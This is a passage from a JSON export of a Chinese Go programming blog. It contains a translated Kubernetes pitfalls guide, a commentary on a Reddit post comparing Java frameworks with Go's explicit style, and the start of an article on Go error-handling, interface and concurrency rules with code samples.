JetBrains 发布了其年2025度《\u003ca href=\"https://devecosystem-2025.jetbrains.com/tools-and-trends\"\u003e开发者生态系统现状\u003c/a\u003e》报告，这份基于全球数万名开发者调研的数据报告，已成为洞察技术风向的关键参考之一。在今年的报告中，Go 语言的表现尤为亮眼，它不仅在“未来潜力”和“学习意愿”等前瞻性指标上独占鳌头，其在当前主流语言版图中的位置也愈发稳固。\u003c/p\u003e","title":"Go 语言观察：登顶“最受期待”榜首，JetBrains 2025报告洞悉未来趋势"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/22/seven-kubernetes-pitfalls\n大家好，我是Tony Bai。\n本文翻译自Kubernetes官方博客《7 Common Kubernetes Pitfalls (and How I Learned to Avoid Them)》一文。\n这篇文章的作者Abdelkoddous Lhajouji 以第一人称视角，系统性地梳理了从资源管理、健康检查到安全配置等多个方面，新手乃至资深工程师都极易忽视的关键点。文中的每个“陷阱”都源于真实的生产经验，其规避建议更是极具实践指导意义。无论你是 K8s 初学者还是经验丰富的 SRE，相信都能从中获得启发，审视并改善自己的日常实践。\n以下是译文全文，供大家参考。\nKubernetes 有时既强大又令人沮丧，这已经不是什么秘密了。当我刚开始涉足容器编排时，我犯的错误足以整理出一整份陷阱清单。在这篇文章中，我想详细介绍我遇到（或看到别人遇到）的七个大坑，并分享一些如何避免它们的技巧。无论你是刚开始接触 Kubernetes，还是已经在管理生产集群，我都希望这些见解能帮助你避开一些额外的压力。\n忽略资源请求（requests）和限制（limits） 陷阱：在 Pod 规范中不指定 CPU 和内存需求。这通常是因为 Kubernetes 并不强制要求这些字段，而且工作负载通常可以在没有它们的情况下启动和运行——这使得在早期配置或快速部署周期中很容易忽略这个疏漏。\n背景：在 Kubernetes 中，资源请求和限制对于高效的集群管理至关重要。资源请求确保调度器为每个 Pod 预留适当数量的 CPU 和内存，保证其拥有运行所需的必要资源。资源限制则为 Pod 可以使用的 CPU 和内存设置了上限，防止任何单个 Pod 消耗过多资源，从而可能导致其他 Pod 资源匮乏。当未设置资源请求和限制时：\n资源匮乏：Pod 可能会获得不足的资源，导致性能下降或失败。这是因为 Kubernetes 会根据这些请求来调度 Pod。如果没有它们，调度器可能会在单个节点上放置过多的 Pod，从而导致资源争用和性能瓶颈。 资源囤积：相反，如果没有限制，一个 Pod 可能会消耗超过其应有份额的资源，影响同一节点上其他 Pod 的性能和稳定性。这可能导致其他 Pod 因内存不足而被驱逐或被内存溢出（OOM）杀手终止等问题。 如何避免 从适度的 requests 开始（例如 100m CPU，128Mi 内存），然后观察你的应用表现如何。 监控实际使用情况并优化你的设置；HorizontalPodAutoscaler 可以帮助根据指标自动进行扩缩容。 留意 kubectl top pods 或你的日志/监控工具，以确认你没有过度或不足地配置资源。 我的惨痛教训：早期，我从未考虑过内存限制。在我的本地集群上，一切似乎都很好。然后，在一个更大的环境中，Pod 们接二连三地被 OOMKilled。教训惨痛。有关为你的容器配置资源请求和限制的详细说明，请参阅官方 Kubernetes 文档的为容器和 Pod 分配内存资源。\n低估存活探针（liveness）和就绪探针（readiness） 陷阱：部署容器时不明确定义 Kubernetes 应如何检查其健康或就绪状态。这往往是因为只要容器内的进程没有退出，Kubernetes 就会认为该容器处于“运行中”状态。在没有额外信号的情况下，Kubernetes 会假设工作负载正在正常运行——即使内部的应用程序没有响应、正在初始化或卡住了。\n背景：\n存活、就绪和启动探针是 Kubernetes 用来监控容器健康和可用性的机制。\n存活探针 决定应用程序是否仍然存活。如果存活检查失败，容器将被重启。 就绪探针 控制容器是否准备好为流量提供服务。在就绪探针通过之前，该容器会从 Service 的端点中移除。 启动探针 帮助区分长时间的启动过程和实际的故障。 如何避免 添加一个简单的 HTTP livenessProbe 来检查一个健康端点（例如 /healthz），以便 Kubernetes 可以重启卡住的容器。 使用一个 readinessProbe 来确保流量在你的应用预热完成前不会到达它。 保持探针简单。过于复杂的检查可能会产生误报和不必要的重启。 我的惨痛教训：我曾有一次忘记为一个需要一些时间来加载的 Web 服务设置就绪探针。用户过早地访问了它，遇到了奇怪的超时，而我花了几个小时挠头苦思。一个 3 行的就绪探针本可以拯救那一天。\n有关为容器配置存活、就绪和启动探针的全面说明，请参阅官方 Kubernetes 文档中的配置存活、就绪和启动探针。\n“我们就看看容器日志好了”（著名遗言） 陷阱：仅仅依赖通过 kubectl logs 获取的容器日志。这通常是因为该命令快速方便，并且在许多设置中，日志在开发或早期故障排查期间似乎是可访问的。然而，kubectl logs 仅检索当前运行或最近终止的容器的日志，而这些日志存储在节点的本地磁盘上。一旦容器被删除、驱逐或节点重新启动，日志文件可能会被轮替掉或永久丢失。\n如何避免 使用 CNCF 工具如 Fluentd 或 Fluent Bit 来集中化日志，聚合所有 Pod 的输出。 采用 OpenTelemetry 以获得日志、指标和（如果需要）追踪的统一视图。这使你能够发现基础设施事件与应用级行为之间的关联。 将日志与 Prometheus 指标配对，以跟踪集群级别的数据以及应用程序日志。如果你需要分布式追踪，可以考虑 CNCF 项目如 Jaeger。 我的惨痛教训：第一次因为一次快速重启而丢失 Pod 日志时，我才意识到 kubectl logs 本身是多么不可靠。从那时起，我为每个集群都设置了一个合适的管道，以避免丢失重要线索。\n将开发和生产环境完全等同对待 陷阱：在开发、预发布和生产环境中使用完全相同的设置部署相同的 Kubernetes 清单（manifests）。这通常发生在团队追求一致性和重用时，但忽略了特定于环境的因素——如流量模式、资源可用性、扩缩容需求或访问控制——可能会有显著不同。如果不进行定制，为一个环境优化的配置可能会在另一个环境中导致不稳定、性能不佳或安全漏洞。\n如何避免 使用overlays环境 或 kustomize 来维护一个共享的基础配置，同时为每个环境定制资源请求、副本数或配置。 将特定于环境的配置提取到 ConfigMaps 和/或 Secrets 中。你可以使用专门的工具，如 Sealed Secrets 来管理机密数据。 为生产环境的规模做好规划。你的开发集群可能用最少的 CPU/内存就能应付，但生产环境可能需要多得多。 我的惨痛教训：有一次，我为了“测试”，在一个小小的开发环境中将 replicaCount 从 2 扩展到 10。我立刻耗尽了资源，并花了半天时间清理残局。哎。\n让旧东西到处漂浮 陷阱：让未使用的或过时的资源——如 Deployments、Services、ConfigMaps 或 PersistentVolumeClaims——在集群中持续运行。这通常是因为 Kubernetes 不会自动移除资源，除非得到明确指示，而且没有内置机制来跟踪所有权或过期时间。随着时间的推移，这些被遗忘的对象会累积起来，消耗集群资源，增加云成本，并造成操作上的混乱，尤其是当过时的 Services 或 LoadBalancers 仍在继续路由流量时。\n如何避免 为所有东西打上标签，附上用途或所有者标签。这样，你就可以轻松查询不再需要的资源。 定期审计你的集群：运行 kubectl get all -n 来查看实际在运行什么，并确认它们都是合法的。 采用 Kubernetes 的垃圾回收：K8s 文档展示了如何自动移除依赖对象。 利用策略自动化：像 Kyverno 这样的工具可以在一定时期后自动删除或阻止过时的资源，或强制执行生命周期策略，这样你就不必记住每一个清理步骤。 我的惨痛教训：一次hackathon之后，我忘记拆除一个关联到外部负载均衡器的“test-svc”。三周后，我才意识到我一直在为那个负载均衡器付费。捂脸。\n过早地深入研究网络 陷阱：在完全理解 Kubernetes 的原生网络原语之前，就引入了高级的网络解决方案——如服务网格（service meshes）、自定义 CNI 插件或多集群通信。这通常发生在团队使用外部工具实现流量路由、可观测性或 mTLS 等功能，而没有首先掌握核心 Kubernetes 网络的工作原理时：包括 Pod 到 Pod 的通信、ClusterIP Services、DNS 解析和基本的 ingress 流量处理。结果，与网络相关的问题变得更难排查，尤其是当overlays网络引入了额外的抽象和故障点时。\n如何避免 从小处着手：一个 Deployment、一个 Service 和一个基本的 ingress 控制器，例如基于 NGINX 的控制器（如 Ingress-NGINX）。 确保你理解集群内的流量如何流动、服务发现如何工作以及 DNS 是如何配置的。 只有在你真正需要时，才转向功能完备的网格或高级 CNI 功能，复杂的网络会增加开销。 我的惨痛教训：我曾在一个小型的内部应用上尝试过 Istio，结果花在调试 Istio 本身的时间比调试实际应用还多。最终，我退后一步，移除了 Istio，一切都正常工作了。\n对安全和 RBAC 太掉以轻心 陷阱：使用不安全的配置部署工作负载，例如以 root 用户身份运行容器、使用 latest 镜像标签、禁用安全上下文（security contexts），或分配过于宽泛的 RBAC 角色（如 cluster-admin）。这些做法之所以持续存在，是因为 Kubernetes 开箱即用时并不强制执行严格的安全默认设置，而且该平台的设计初衷是灵活而非固执己见。在没有明确的安全策略的情况下，集群可能会持续暴露于容器逃逸、未经授权的权限提升或因未固定的镜像导致的意外生产变更等风险中。\n如何避免 使用 RBAC 来定义 Kubernetes 内部的角色和权限。虽然 RBAC 是默认且最广泛支持的授权机制，但 Kubernetes 也允许使用替代的授权方。对于更高级或外部的策略需求，可以考虑像 OPA Gatekeeper（基于 Rego）、Kyverno 或使用 CEL 或 Cedar 等策略语言的自定义 webhook 等解决方案。 将镜像固定到特定的版本（不要再用 :latest！）。这能帮助你确切地知道实际部署的是什么。 研究一下 Pod 安全准入（或其他解决方案，如 Kyverno），以强制执行非 root 容器、只读文件系统等。 我的惨痛教训：我从未遇到过重大的安全漏洞，但我听过足够多的警示故事。如果你不把事情收紧，出问题只是时间问题。\n小结：最后的想法 Kubernetes 很神奇，但它不会读心术，如果你不告诉它你需要什么，它不会神奇地做出正确的事。通过牢记这些陷阱，你将避免大量的头痛和时间浪费。错误会发生（相信我，我犯过不少），但每一次都是一个机会，让你更深入地了解 Kubernetes 在底层是如何真正工作的。如果你有兴趣深入研究，官方文档和社区 Slack 是绝佳的下一步。当然，也欢迎分享你自己的恐怖故事或成功技巧，因为归根结底，我们都在这场云原生的冒险中并肩作战。\n祝你交付愉快！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/22/seven-kubernetes-pitfalls/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/seven-kubernetes-pitfalls-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/22/seven-kubernetes-pitfalls\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/22/seven-kubernetes-pitfalls\"\u003ehttps://tonybai.com/2025/10/22/seven-kubernetes-pitfalls\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e本文翻译自Kubernetes官方博客《\u003ca href=\"https://kubernetes.io/blog/2025/10/20/seven-kubernetes-pitfalls-and-how-to-avoid/\"\u003e7 Common Kubernetes Pitfalls (and How I Learned to Avoid Them)\u003c/a\u003e》一文。\u003c/p\u003e\n\u003cp\u003e这篇文章的作者Abdelkoddous Lhajouji 以第一人称视角，系统性地梳理了从资源管理、健康检查到安全配置等多个方面，新手乃至资深工程师都极易忽视的关键点。文中的每个“陷阱”都源于真实的生产经验，其规避建议更是极具实践指导意义。无论你是 K8s 初学者还是经验丰富的 SRE，相信都能从中获得启发，审视并改善自己的日常实践。\u003c/p\u003e","title":"7 个常见的 Kubernetes 陷阱（以及我是如何学会避免它们的）"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/22/back-to-go-after-defection-to-java\n大家好，我是Tony Bai。\n“我离开了 Go，因为我觉得它啰嗦又笨重。我以为编程本该是简单轻松的……但事实证明，河对岸的草不见得更绿。”\n近日，在 r/golang 社区，一篇标题为《一篇完全没有建设性但又无比真实的，关于 Go 和 Java 的咆哮》的帖子引发了热议。作者讲述了一个“Gopher 叛逆-回归”的经典故事：因不满 Go 社区对 ORM 和 DI 框架的“抵触”，以及 Go 语言本身的“繁琐”，他转投了企业级 Java 的怀抱。然而，在亲身体验了 Java 生态中无处不在的“魔法”之后，他如今“无比怀念 Golang”。\n这篇“咆哮”，与其说是在抱怨，不如说是一次深刻的顿悟。它以一种极具戏剧性的方式，揭示了 Go 与 Java 在设计哲学上的根本冲突，以及 Go 语言“显式优于隐式”这一核心价值观的真正分量。\n“魔法”的代价——“我根本不知道火箭从哪儿来” 作者坦言，他最初无法理解人们为何抱怨 Java 的“魔法”。框架“做了所有繁重的工作，你只需要创建和注册工厂，不是吗？”\n在亲身实践后，他发出了痛苦的哀嚎：“我终于明白了。我无比痛恨 Java 使用的魔法。你根本不可能知道火箭是从哪里发射的。”\n他精准地指出了几个让他崩溃的“魔法”重灾区：\nSpring 的依赖注入 (DI)：“@Service my ass” 在 Spring 框架中，一个简单的 @Service 注解，就能让一个类被自动扫描、实例化并注入到任何需要它的地方。这看似便捷，但当系统变得复杂时，它就成了一个黑盒。作者咆哮道：“你只是接受了某个地方、某个时候会调用你的工厂——只要你设置了正确的 profile。@Service my ass。”\n这种控制反转 (IoC) 的极致，让代码的调用关系变得极其隐晦。想找到一个 JWT 令牌的验证逻辑在哪里被触发？想知道 PEM 密钥在哪里被设置？祝你好运。这与 Go 中清晰、明确的函数调用和依赖传递，形成了鲜明的对比。\nHibernate 的 ORM：“它写的查询简直骇人听闻” 作者曾是 TypeORM 的忠实拥趸，但 Hibernate 让他领教了重量级 ORM 的恐怖。他质问道：“为什么它不直接用 JOIN，而是去执行那 40 条额外的查询？为什么我只是想取个名字，它却加载了整个银行数据？”\n这正是“魔法”的另一面：为了提供一个看似简单的对象操作接口，ORM 在底层生成了极其复杂、低效、且难以预测的 SQL 查询（即著名的 N+1 问题）。当魔法失效，你需要深入调试时，你面对的将是 HQL (Hibernate Query Language) 这种“又一门需要学习的查询语言”，而不是你早已精通的 SQL。\nMapStruct 的代码生成：“我如何给它加断点？” 从模型 (Model) 到数据传输对象 (DTO) 的转换，在 Java 中也充满了“魔法”。像 MapStruct 这样的库，通过注解和代码生成，自动完成对象之间的映射。作者的质问直击要害：“你从中得到了什么？我如何给它加一个断点？”\n当代码不再是你亲手编写，而是由工具在编译时“变”出来的时候，你就失去了最宝贵的武器：可调试性和可预测性。\n社区的激辩——Go 真的“反框架”吗？ 这篇“咆哮”自然也引发了社区的激烈辩论。许多评论者指出，作者所憎恨的，并非 Java 语言本身，而是其生态中过度使用“魔法”的特定框架文化（尤其是 Spring 和 Hibernate）。\n同时，也有 Gopher 指出，Go 社区并非完全拒绝高级抽象。像 Uber 开源的 fx 框架，就是一个功能强大的依赖注入库；而 gomock 也是从 Go 官方团队交由 Uber 维护的重要项目。\n然而，这场辩论最终揭示了一个核心的文化差异：\nJava 企业级生态：倾向于提供“全家桶”式的、重量级的框架。这些框架试图用“魔法”为开发者包办一切，隐藏复杂性。其哲学是“约定优于配置”的极致体现。 Go 社区生态：更倾向于提供小巧、正交、可组合的库。它鼓励开发者理解并亲手“管道”这些构建块。其哲学是“显式优于隐式”。Go 开发者不害怕“重新发明轮子”，因为他们认为“对轮子的控制权”本身就是一种价值。 重新审视 Go 的“繁琐”——是缺陷，还是守护？ 作者的回归之旅，让我们得以用一个全新的视角，重新审视那些曾被他（以及许多初学者）视为“繁琐”的 Go 特性。\nif err != nil：繁琐背后的清晰 当社区讨论 Go 的“繁琐”时，99% 的情况下，他们指的都是 if err != nil。然而，在经历了 Java 中可以随时随地抛出、难以追踪的未经检查的异常 (Unchecked Exceptions) 之后，Go 这种将错误作为普通值的处理方式，其优势便凸显出来：\n清晰的控制流：错误处理路径是代码中明确、可见的一部分，而不是通过 try-catch 或全局异常处理器实现的“隐形跳转”。 强制的责任：编译器强制你关注每一个可能出错的地方，这从根本上提升了代码的健壮性。 拥抱 database/sql：显式控制的自由 在关于 ORM 的激烈辩论中，一位 Gopher 的评论掷地有声：“当魔法失效时，从 ORM 回退到 SQL 查询，比从一开始就写 SQL 要痛苦十倍。”\n这并非是在断言“Go 社区完全拒绝 ORM”。事实上，Go 生态中拥有像 GORM、ent、sqlc、sqlx 这样流行且功能强大的数据访问工具。然而，与 Java 生态中 Hibernate 几乎一统天下的地位不同，Go 社区对于是否使用 ORM，以及如何使用，始终保持着一种审慎和多元的态度。\n这种态度的根源，在于 Go 的标准库 database/sql。它本身并非一个 ORM，而是一个轻量级的、提供了数据库操作最小抽象的接口。它刻意地将开发者保留在离 SQL 很近的地方。\n这种“刻意的简陋”，恰恰赋予了开发者一种宝贵的自由：\n完全的 SQL 控制权：你永远不必去猜测框架会生成什么样的“怪物”SQL。你可以亲手编写最高效、最符合你业务场景的查询，可以轻松地使用数据库的高级特性，也可以在需要时对查询进行精确的性能调优。 清晰的数据流：数据从数据库行到你的 struct 的映射过程是显式的。无论是 rows.Scan() 还是 sqlx 的 db.StructScan()，你都能清晰地看到数据的流转路径。 更低的认知负荷：学习 database/sql 和基础 SQL，其学习曲线远比掌握一个像 Hibernate 这样庞大、复杂的 ORM 框架要平缓得多。 当然，这意味着你需要编写更多的“繁琐”的 SQL 语句和手动映射代码。但 Go 社区的普遍哲学认为，这种可预测、可控制的“繁琐”，远胜于那种在 90% 的时间里都很神奇，但在剩下的 10% 的时间里会让你陷入调试地狱的“魔法”。\n对于许多 Gopher来说，选择 database/sql 或 sqlx 这样的轻量级工具，并非“重新发明轮子”，而是一种主动的选择——选择将复杂性掌握在自己手中，而不是将其外包给一个难以捉摸的黑盒。\n小结：简单性的“甜蜜点” 这位“叛逆”Gopher 的回归故事，是一堂关于软件设计哲学的生动课程。它告诉我们，设计一门简单的语言并不容易。\n“要让事情变简单，你必须隐藏复杂性。但如果你隐藏了太多的复杂性，你实际上会让事情变得更复杂——因为复杂性只是被隐藏了，而非被消除了。”\nJava 的“魔法”生态，通过注解、反射和代码生成，将复杂性深深地隐藏在了一个难以触及的黑盒中。而 Go，则努力地寻找着一个“甜蜜点”：它提供了足够高的抽象（如 Goroutine 和 GC），让你不必关心线程调度和内存分配的底层细节；同时，它又保持了足够的透明度，让你能清晰地看到程序的控制流和数据流。\n最终，这场从 Go 到 Java 再回到 Go 的旅程，并非一次简单的技术选择，而是一次深刻的哲学回归。它证明了在长期维护、大规模协作和复杂问题调试的战场上，清晰、显式和可预测性，远比任何华丽的“魔法”都更加珍贵。\n资料链接：https://www.reddit.com/r/golang/comments/1o7u5b6/a_completely_unproductive_but_truthful_rant_about/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/22/back-to-go-after-defection-to-java/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/back-to-go-after-defection-to-java-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/22/back-to-go-after-defection-to-java\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/22/back-to-go-after-defection-to-java\"\u003ehttps://tonybai.com/2025/10/22/back-to-go-after-defection-to-java\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“我离开了 Go，因为我觉得它啰嗦又笨重。我以为编程本该是简单轻松的……但事实证明，河对岸的草不见得更绿。”\u003c/p\u003e\n\u003cp\u003e近日，在 r/golang 社区，一篇标题为《\u003ca href=\"https://www.reddit.com/r/golang/comments/1o7u5b6/a_completely_unproductive_but_truthful_rant_about/\"\u003e一篇完全没有建设性但又无比真实的，关于 Go 和 Java 的咆哮\u003c/a\u003e》的帖子引发了热议。作者讲述了一个“Gopher 叛逆-回归”的经典故事：因不满 Go 社区对 ORM 和 DI 框架的“抵触”，以及 Go 语言本身的“繁琐”，他转投了企业级 Java 的怀抱。然而，在亲身体验了 Java 生态中无处不在的“魔法”之后，他如今“无比怀念 Golang”。\u003c/p\u003e","title":"从 Go “叛逃”到 Java，再回归：一位开发者关于“魔法”与“显式”的深度反思"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/21/10-go-programming-rules-from-reddit\n大家好，我是Tony Bai。\n在团队协作中，Code Review是我们与同事交流最频繁的阵地。我们都渴望自己提交的代码能够清晰、健壮，赢得同事的“LGTM”（Looks Good To Me）。但有时，一些看似“吹毛求疵”的风格评论，如“改下变量名”或“这里缩进不对”，会让我们感到困惑。\n这些评论真的只是个人偏好吗？来自Reddit的工程师Konrad Reiche在其GoLab 2025的精彩分享《Writing Better Go》中给出了否定的答案。他一针见血地指出：大多数“风格(style)”评论，其本质并非关乎审美，而是关乎如何避免未来的生产环境之痛。\n本文将和大家一起解读一下这场分享中提炼出的十条黄金法则。它们是Konrad从数百个Reddit的内部Pull Request中沉淀出的模式与智慧，**内容涵盖了从错误处理的艺术、接口设计的哲学，到并发模式的选择、代码的组织与命名等方方面面。**掌握它们，将帮助你写出真正让同事赞不绝口的地道Go代码，从根本上提升代码质量与团队协作效率。\n法则 01：精准处理错误 Go的if err != nil是其哲学的核心，但如何正确地处理err，却是一门艺术。错误的错误处理方式，是生产环境中许多难以追踪的bug和panic的根源。这里Konrad列出的几种错误处理禁忌，都十分值得我们注意。\n禁忌1：静默丢弃 (Silently Discarding) 这是最危险的行为，完全无视了函数可能失败的契约。\n// BAD: Silently Discarding // pickRandom可能会因为输入为空而返回错误，但我们用 _ 彻底忽略了它。 // 如果发生错误，result将是其零值（空字符串），程序可能会在后续逻辑中以意想不到的方式失败。 result, _ := pickRandom(input) log.Printf(\u0026#34;The random choice is: %s\u0026#34;, result) 禁忌2：静默忽略 (Silently Ignoring) 比丢弃稍好，但同样危险。我们接收了错误，却没有做任何处理。\n// BAD: Silently Ignoring // 我们检查了err，但if语句块是空的。 // 程序会继续执行，仿佛错误从未发生，但result的值是不可信的。 result, err := pickRandom(input) if err != nil { // An empty block is a sign of trouble. } log.Printf(\u0026#34;The random choice is: %s\u0026#34;, result) 禁忌3：吞噬错误 (Swallowing the Error) 这种模式在错误发生时，向上层调用者返回nil，彻底抹除了错误的痕迹。上层调用者无法知道操作是成功了，还是静默地失败了。\n// BAD: Swallowing the Error result, err := pickRandom(input) if err != nil { return nil // 发生了错误，但我们却向上层返回了一个nil } 禁忌4：重复报告 (Double Reporting) 一个经典的错误是在一个地方记录日志，然后又将err返回给上层，导致调用链中多处重复记录同一个错误。这会严重干扰日志分析和告警系统。\n// BAD: Double Reporting func process() error { result, err := pickRandom(input) if err != nil { // 在这里记录了日志... slog.Error(\u0026#34;pickRandom failed\u0026#34;, \u0026#34;error\u0026#34;, err) // ...然后又将错误返回 return err } // ... return nil } func main() { if err := process(); err != nil { // 调用方又记录了一次日志！ slog.Error(\u0026#34;process failed\u0026#34;, \u0026#34;error\u0026#34;, err) } } 原则：在一个调用层级，要么处理错误，要么将错误返回给上层去处理，但最好不要两者都做。 通常，只有在程序的最高层（如main函数或HTTP handler）才应该记录日志。\n以上的这些“禁忌”虽然糟糕，但通常只会导致逻辑错误或日志混乱。而接下来的这个模式，则会直接导致程序崩溃（panic）。\n最危险的坏味道：模棱两可的返回契约 这种模式发生在：一个函数在返回非nil错误的同时，也返回了一个非nil的指针类型的值。\n// http.DefaultClient.Do 的文档明确说明，当发生某些错误时（如重定向错误）， // 它会同时返回一个非nil的*http.Response和一个非nil的error。 // 这是一个经过深思熟虑并有文档说明的特例。 // // 但在绝大多数我们自己编写的代码中，这种模式是极其危险的。 func fetch(req *http.Request) (*http.Response, error) { resp, err := http.DefaultClient.Do(req) if err != nil { // 危险！在这里，resp可能是一个非nil的指针，指向一个部分有效或无效的Response。 // 如果我们直接将它返回... return resp, err } return resp, nil } func main() { invalid := \u0026amp;http.Request{} // 一个无效的请求 resp, err := fetch(invalid) if err != nil { slog.Error(\u0026#34;fetch failed\u0026#34;, \u0026#34;error\u0026#34;, err) // 调用者在这里陷入了两难： // 1. 我应该信任err，并认为resp是无效的吗？ // 2. 还是应该检查一下resp是否为nil？ // 如果调用者不假思索地访问resp... slog.Info(resp.Status) // \u0026lt;-- PANIC! // 将会引发: panic: runtime error: invalid memory address or nil pointer dereference } } 问题的根源在于，这个fetch函数建立了一个模棱两可的契约。当调用方收到一个非nil的err时，它无法安全地假设另一个返回值resp的状态。如果调用者没有进行额外的nil检查就直接访问resp.Status，程序就会因为空指针解引用而崩溃。\n一个健壮的、地道的Go函数，应该为调用者提供一个清晰无比的契约，消除所有猜测：\n按照上述实践，我们的fetch函数修改为：\nfunc fetch(req *http.Request) (*http.Response, error) { resp, err := http.DefaultClient.Do(req) if err != nil { // 无论resp此时是什么，我们都返回nil，建立清晰的契约 return nil, err } return resp, nil } 通过始终返回nil, err，调用者可以极大地简化其错误处理逻辑，放心地编写代码：\nresp, err := fetch(invalid) if err != nil { slog.Error(\u0026#34;fetch failed\u0026#34;, \u0026#34;error\u0026#34;, err) // 在这个分支里，我们100%确定resp是nil，无需再做任何检查。 return } // 只有在err为nil时，才安全地访问resp。 slog.Info(resp.Status) 这不仅避免了panic，更重要的是，它降低了代码的认知负荷，让程序变得更简单、更可预测。这，就是地道的Go错误处理之道。\n法则 02：不要过早添加接口 在Go的世界里，“接口”是一个极其强大的工具，但它也极易被滥用，成为过度设计的重灾区。演讲者指出了两种最常见的接口误用场景：过早抽象和为测试而抽象。\n过早抽象通常源于开发者从Java等传统面向对象语言带来的思维惯性。在那些语言中，“面向接口编程”是金科玉律，导致开发者习惯于在编写任何具体实现之前，先定义一个接口。例如，在构建一个缓存包时，开发者可能会立刻定义一个Cache接口，并随之创建LFU和LRU等多种实现。\n// cache/cache.go package cache // 过早定义的接口 type Cache[T any] interface { Get(ctx context.Context, key string) (*T, error) Set(ctx context.Context, key string, value T) error } // LFU 实现... type LFU[T any] struct { /* ... */ } // LRU 实现... type LRU[T any] struct { /* ... */ } 然后，在服务的代码中直接依赖这个cache.Cache接口：\ntype EligibilityService struct { cache cache.Cache[model.Product] // 依赖于接口 catalog *product.Catalog } 这种做法的问题在于，它在需求尚不明确的时候，就引入了一个额外的抽象层。如果你的项目在可预见的未来都只需要一种缓存实现（比如LFU），那么这个Cache接口就是多余的。它不仅没有带来任何好处，反而增加了代码的间接性，使得跳转定义和理解代码变得更加困难。\nGo的哲学恰恰相反：先从具体类型开始。 应该直接依赖*cache.LFU：\ntype EligibilityService struct { cache *cache.LFU[model.Product] // 直接依赖具体类型 catalog *product.Catalog } 只有当未来你真正需要多种可互换的实现时（例如，需要根据配置在LFU和LRU之间切换），再回头去提取一个接口也不迟。这个原则可以用一个简单的“试金石”来检验：如果你能不写接口就实现功能，那你可能根本就不需要那个接口。\n为测试而抽象是Go中最常见的接口滥用反模式。为了在单元测试中mock一个依赖（比如UserService），开发者常常会为其创建一个接口，仅仅是为了让测试代码能够传入一个mockUserService。这种做法虽然在短期内解决了测试问题，但却用一个“测试的便利性”污染了生产代码的设计，得不偿失。\n更地道的做法是优先使用真实实现的测试替身，例如使用google.golang.org/grpc/test/bufconn来测试gRPC服务，而不是为每个gRPC客户端都定义一个接口。\n法则 03：优先使用Mutex，Channel用于编排 “Channel很聪明。但在生产环境中，更简单的往往更安全。” 这句话精准地概括了Go并发编程中的一个核心权衡。Go的并发哲学常被新手误解为“无脑用Channel”，但资深的Gopher都明白，对于保护共享状态这一最常见的并发场景，sync.Mutex通常是更简单、更安全、性能也更易于推理的选择。\nChannel的强大之处在于其协调和通信的能力，但这份强大也伴随着复杂性。演讲中列举了多种由Channel引发的panic或死锁场景，例如关闭一个已关闭的channel、向一个已关闭的channel发送数据、或者在一个无缓冲的channel上发送但没有接收者。这些运行时错误提醒我们，Channel的生命周期和goroutine之间的同步需要精心管理。\n一个典型的过度使用Channel的例子，是将一个简单的并发处理任务，构建成一个由多个goroutine、多个channel、select和sync.WaitGroup构成的复杂扇出/扇入（fan-out/fan-in）模式。虽然这种模式在功能上是可行的，但其心智负担远高于一个使用互斥锁的简单替代方案。\n// 使用Mutex的简单、安全的并发模式 var mu sync.Mutex resps := make([]int, 0) g, ctx := errgroup.WithContext(ctx) for _, v := range input { v := v // capture loop variable g.Go(func() error { resp, err := process(ctx, v) if err != nil { return err } mu.Lock() resps = append(resps, resp) mu.Unlock() return nil }) } if err := g.Wait(); err != nil { return 0, err } return merge(resps...), nil 在这个例子中，我们使用errgroup来管理goroutine的生命周期和错误传递，并用一个简单的sync.Mutex来保护对共享切片resps的并发写入。这个模式清晰、直接，并且通过go test -race可以轻松检测出潜在的竞态问题。\n因此，最佳实践的演进路径应该是：\n默认从同步代码开始。 只有当性能分析（profiling）显示出明确的瓶颈时，才引入goroutine进行并发优化。 